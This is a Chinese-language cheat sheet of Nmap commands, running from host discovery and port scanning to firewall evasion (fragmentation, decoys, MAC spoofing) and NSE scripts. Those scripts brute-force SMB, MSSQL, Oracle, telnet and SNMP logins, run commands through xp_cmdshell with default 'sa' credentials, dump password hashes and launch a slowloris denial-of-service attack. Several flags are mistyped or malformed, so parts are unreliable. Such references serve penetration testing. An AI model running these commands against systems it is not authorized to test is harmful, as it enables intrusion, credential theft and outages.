Nmap 常用命令總結
獲取IP
host 網址
host 域名
dig 域名
是否存活
ping ip
nmap -sP --script discovery ip //可以得到更詳細的信息
掃描在線主機
nmap -sP 202.193.64.*
探測IP協議
nmap -PO ip
獲取系統概況
nmap -A ip //暴力形式,很容易被發現
探測防火牆
探測是否有防火牆
nmap -PN ip
探測防火牆規則
nmap -sA ip
TCP Window掃描
nmap -sw ip
FIN掃描
nmap -sF ip //FIN掃描方式用於識別端口是否關閉,收到RST回復說明該端口關閉,否則說明是open或filtered狀態
TCP掃描
nmap -sT -p- -Pn ip
nmap -sT -p- -Pn 202.193.64.1-254 //所有子網TCP掃描,費時
nmap -sL 192.168.1.0/24
SYN掃描
nmap -sS -p- Pn ip
UDP掃描
nmap -sU ip //UDP掃描費時,所以去掉-p-,默認掃描
Xmas掃描
nmap -sX -p- -Pn ip
Null掃描
nmap -sN -p- -Pn ip
繞開鑒權
nmap --script=auth 192.168.56.*
探測操作系統
nmap -O ip
探測軟件版本
nmap -V ip
nmap -sTV -p- -Pn ip
探查局域網內更多服務
nmap -n --script=broadcast ip
碎片化
nmap -f ip
nmap --mtu 16 ip
誘餌
nmap –D RND:10 TARGET
nmap –D decoy1,decoy2,decoy3 target
MAC地址欺騙
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target
nmap -spoof-mac Scisio ip //-spoof-mac 可以根據廠商名字偽造不同mac地址
發送間隔時間控制
nmap -scan_delay 5ms ip
發送錯誤校驗
nmap --badsum target
Http方法
nmap –p 80,443 --script http-methods xxx.com
發現文件
nmap -sV --script http-enum ip
判斷是否使用默認端口
nmap -sV -script=smtp-strangeport ip
利用第三方數據庫
nmap --script external ip
獲得PHP版本信息
nmap -sV -script=http-php-version ip //如果想對一個基於WordPress的web站點進行滲透測試,可以使用以下腳本1.http-wordpress-plugins,2.http-wordpress-enum,3.http-wordpress-brute
用戶發現IP地址黑名單
nmap -sn ip --script dns-blacklist
簡單暴力猜解
nmap --script=brute 192.168.56.*
檢查是否存在漏洞
nmap --script=vuln 192.168.56.*
按應用服務掃描
vnc掃描
檢查vnc bypass
nmap --script=realvnc-auth-bypass ip
檢查vnc認證方式
nmap --script=vnc-auth ip
獲取vnc信息
nmap --script=vnc-info 192.168.56.x
smb掃描
smb破解
nmap --script=smb-brute.nse ip
smb字典破解
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd ip
smb已知幾個嚴重漏
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 ip
查看共享目錄
nmap -p 445 --script smb-ls --script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ ip
查詢主機一些敏感信息
nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test ip
查看會話
nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test ip
系統信息
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test ip
Mssql掃描
猜解mssql用戶名和密碼
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd ip
xp_cmdshell 執行命令
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" ip
dumphash值
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa ip
Mysql掃描
掃描root空口令
nmap -p3306 --script=mysql-empty-password.nse ip
列出所有mysql用戶
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root ip
支持同一應用的所有腳本掃描
nmap --script=mysql-* ip
Oracle掃描
Oracle sid掃描
nmap --script=oracle-sid-brute -p 1521-1560 ip
Oracle弱口令破解
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd ip
其他一些比較好用的腳本
發現網關
nmap --script=broadcast-netbios-master-browser ip
telnet破解
nmap -sV --script=telnet-brute ip
Dos攻擊
nmap --script http-slowloris --max-parallelism 400 ip
破解rsync
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' ip
Informix數據庫破解
nmap --script informix-brute -p 9088 ip
PostgreSQL破解
nmap -p 5432 --script pgsql-brute ip
SNMP破解
nmap -sU --script snmp-brute ip
檢查http方法
nmap --script=http-methods.nse 192.168.137.4
其他用法
查看本地路由與接口
nmap -iflist
指定網口與ip地址
nmap -e eth0 ip
產生隨機ip地址
nmap -iR 1200000 -sL -n | grep “not scanned” | awk ‘{print $2}’ | sort -n | uniq >! tp; head -25000000 tp >! tcp-allports-1M-IPs; rm tp
掃描路由器
掃描思科路由器
nmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16 //思科路由器會在上述端口中運行了常見的服務。列舉出上述端口開放的主機,可以定位到路由器設備可能的IP地址及端口狀態
掃描路由器TFTP
nmap –sU –p69 –nvv target //大多數的路由器都支持TFTP協議(簡單文件傳輸協議),該協議常用於備份和恢復路由器的配置文件,運行在UDP 69端口上。使用上述命令可以探測出路由器是否開放TFTP
掃描路由器操作系統
nmap -O -F -n 192.168.1.1 //與通用PC掃描方式類似,使用-O選項掃描路由器的操作系統。-F用於快速掃描最可能開放的100個端口,並根據端口掃描結果進一步做OS的指紋分析。
顯示網絡上共有多少台 Linux 及 Win 設備
nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"